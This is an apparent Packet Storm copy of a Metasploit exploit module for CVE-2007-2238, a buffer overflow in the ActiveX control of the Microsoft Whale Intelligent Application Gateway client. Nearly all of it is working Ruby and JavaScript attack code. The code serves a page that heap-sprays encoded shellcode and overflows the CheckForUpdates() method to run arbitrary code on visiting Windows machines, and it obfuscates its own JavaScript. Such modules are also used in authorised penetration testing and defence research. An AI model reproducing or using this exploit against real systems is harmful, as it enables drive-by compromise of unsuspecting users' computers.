Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.957 High

EPSS

Percentile

99.4%

JSON

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Microsoft Whale Intelligent Application   
Gateway Whale Client. When sending an overly long string to CheckForUpdates()   
method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute   
arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-2238' ],  
[ 'OSVDB', '53933'],  
[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]   
],  
'DisclosureDate' => 'Apr 15 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# fluff..  
fluff = rand_text_english(rand(20) + 1)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return.  
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)  
  
js = %Q|  
try {  
var evil_string = "";  
var index;  
var vulnerable = new ActiveXObject('ComponentManager.Installer.1');  
var my_unescape = unescape;  
var shellcode = '#{shellcode}';  
#{js_heap_spray}  
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);  
for (index = 0; index < 15000; index++) {  
evil_string = evil_string + my_unescape('#{ret}');  
}  
vulnerable.CheckForUpdates(evil_string,'#{fluff}');  
} catch( e ) { window.location = 'about:blank' ; }  
|  
  
opts = {  
'Strings' => true,  
'Symbols' => {  
'Variables' => [   
'vulnerable',  
'shellcode',  
'my_unescape',  
'index',  
'evil_string',  
]  
}  
}  
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  
js.update_opts(js_heap_spray.opts)  
js.obfuscate()  
content = %Q|  
<html>  
<body>  
<script><!--  
#{js}  
//</script>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.957 High

EPSS

Percentile

99.4%

JSON

Related for PACKETSTORM:82980